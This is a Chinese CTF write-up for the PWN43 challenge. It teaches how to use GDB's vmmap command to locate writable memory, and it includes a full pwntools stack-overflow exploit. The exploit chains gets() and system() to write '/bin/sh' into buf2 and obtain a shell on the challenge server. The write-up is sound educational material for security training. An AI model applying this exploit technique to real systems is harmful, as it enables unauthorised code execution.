保姆级调试指南:用GDB的vmmap命令为PWN题‘找房子’,搞定PWN43的栈溢出与参数传递
在CTF竞赛中,PWN题往往是最考验选手综合能力的题型之一。面对一个陌生的二进制文件,如何快速定位漏洞、理解内存布局并构造有效的攻击载荷,是每个PWN选手必须掌握的技能。本文将带你深入理解GDB的vmmap命令在漏洞利用中的关键作用,通过一个真实的CTF题目(PWN43)演示如何系统性地进行动态调试,最终实现栈溢出攻击并获取shell。
1. 理解题目与初步分析
拿到PWN43这道题目时,我们首先需要进行基础分析。这是一个32位的ELF可执行文件,使用file命令可以确认这一点:
$ file pwn43 pwn43: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped使用IDA进行静态分析,我们发现程序的主要逻辑在ctfshow函数中。这个函数定义了一个长度为104的字符数组s,并使用不安全的gets()函数读取输入,这明显存在栈溢出漏洞。更重要的是,程序中存在system()函数(地址0x8048450),但没有现成的/bin/sh字符串。
提示:在32位程序中,函数调用时参数是通过栈传递的。这意味着我们需要控制栈上的内容才能正确调用
system()函数。
2. 动态调试与内存布局分析
静态分析只能告诉我们程序的大致结构,要真正理解内存布局,必须进行动态调试。我们使用GDB加载程序:
$ gdb ./pwn432.1 设置断点与运行程序
首先在main函数设置断点,然后运行程序:
(gdb) break main Breakpoint 1 at 0x8048537 (gdb) run Starting program: /path/to/pwn432.2 使用vmmap查看内存映射
关键的一步是使用vmmap命令查看进程的内存映射情况:
(gdb) vmmap Start End Perm Size Offset File 0x8048000 0x8049000 r-xp 0x1000 0x0000 /path/to/pwn43 0x8049000 0x804a000 r--p 0x1000 0x0000 /path/to/pwn43 0x804a000 0x804b000 rw-p 0x1000 0x1000 /path/to/pwn43 0x804b000 0x804c000 rw-p 0x1000 0x0000 [heap]这里我们需要特别关注权限为rw-p(可读可写)的内存区域。在PWN题目中,这样的区域可以用来存储我们的攻击载荷(如/bin/sh字符串)。
2.3 理解内存权限标志
vmmap输出的权限标志非常重要:
r:可读(Readable)w:可写(Writable)x:可执行(Executable)p:私有(Private,与s共享相对)
在我们的例子中,0x804b000-0x804c000这段内存是可读写的,这正是我们需要的"房子"——可以用来存放/bin/sh字符串的区域。
3. 定位可写内存与构造攻击
3.1 寻找合适的写入地址
通过进一步分析,我们在0x804b000-0x804c000这段内存中找到了一个全局变量buf2,其地址为0x804b060。这是一个理想的写入位置:
(gdb) x/s 0x804b060 0x804b060 <buf2>: ""3.2 利用gets函数写入字符串
程序中已经有gets()函数(地址0x8048420),我们可以利用它来向buf2写入/bin/sh字符串。攻击思路如下:
- 通过栈溢出覆盖返回地址,跳转到
gets()函数 - 让
gets()从标准输入读取/bin/sh并写入buf2 - 然后调用
system()函数,参数指向buf2
3.3 构造ROP链
我们需要构造一个ROP链来实现上述流程。首先计算偏移量:
offset = 0x6C + 4 # 104字节的缓冲区 + 4字节的ebp然后构造payload:
from pwn import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28227) offset = 0x6C + 4 system_addr = 0x8048450 buf2_addr = 0x804b060 gets_addr = 0x8048420 payload = b'a'*offset payload += p32(gets_addr) # 覆盖返回地址为gets() payload += p32(system_addr) # gets()返回后跳转到system() payload += p32(buf2_addr) # gets()的参数:写入地址 payload += p32(buf2_addr) # system()的参数:"/bin/sh"的地址 p.sendline(payload) p.sendline("/bin/sh") # 这是gets()读取的内容 p.interactive()4. 攻击原理深度解析
4.1 栈帧布局与函数调用
理解这个攻击的关键在于明白32位程序中的函数调用约定:
- 调用函数时,参数从右向左压栈
call指令会将返回地址压栈- 被调用函数会保存旧的ebp(建立新的栈帧)
我们的payload结构如下:
| 栈位置 | 内容 | 说明 |
|---|---|---|
| 低地址 | 'a'*offset | 填充缓冲区 |
| gets_addr | 覆盖返回地址 | |
| system_addr | gets()的返回地址 | |
| buf2_addr | gets()的参数 | |
| buf2_addr | system()的参数 |
4.2 攻击流程详解
- 程序执行
gets()时,我们的输入覆盖了返回地址 - 函数返回时跳转到
gets(),从标准输入读取/bin/sh并写入buf2 gets()返回时,会从栈上弹出返回地址(system_addr)并跳转system()执行时,会从栈上获取参数(buf2_addr),即/bin/sh的地址
4.3 为什么需要两次buf2_addr
第一个buf2_addr是gets()的参数,告诉它把输入写到哪里;第二个buf2_addr是system()的参数,告诉它要执行的命令在哪里。虽然看起来重复,但两者作用不同。
5. 实战技巧与注意事项
5.1 寻找可写内存的技巧
在实际比赛中,除了使用vmmap,还可以用以下方法寻找可写内存:
- 查找
.bss段(通常有读写权限) - 查找全局变量(如
buf2) - 查找堆区域(heap)
(gdb) info variables All defined variables: Non-debugging symbols: ... 0x0804b060 buf2 ...5.2 处理ASLR的情况
如果题目开启了ASLR(地址空间布局随机化),上述方法可能需要调整:
- 需要先泄漏某个地址
- 计算基址偏移
- 然后构造payload
5.3 其他有用的GDB命令
除了vmmap,以下GDB命令也非常有用:
info proc mappings # 类似vmmap x/20wx $esp # 查看栈内容 x/wx &system # 查看system函数地址 searchmem "/bin/sh" # 搜索内存中的字符串5.4 常见问题排查
如果攻击不成功,可以检查以下几点:
- 偏移量计算是否正确
- 地址是否考虑了小端序
- 内存权限是否确实可写
- 函数调用约定是否正确(32位和64位不同)
注意:在实际比赛中,网络环境可能有延迟,建议先在本地测试成功后再攻击远程。
通过这个案例,我们不仅解决了PWN43这道题目,更重要的是掌握了一套系统性的动态调试方法。从内存布局分析到攻击构造,GDB的vmmap命令帮助我们快速找到了可用的"房子",为最终的攻击成功奠定了基础。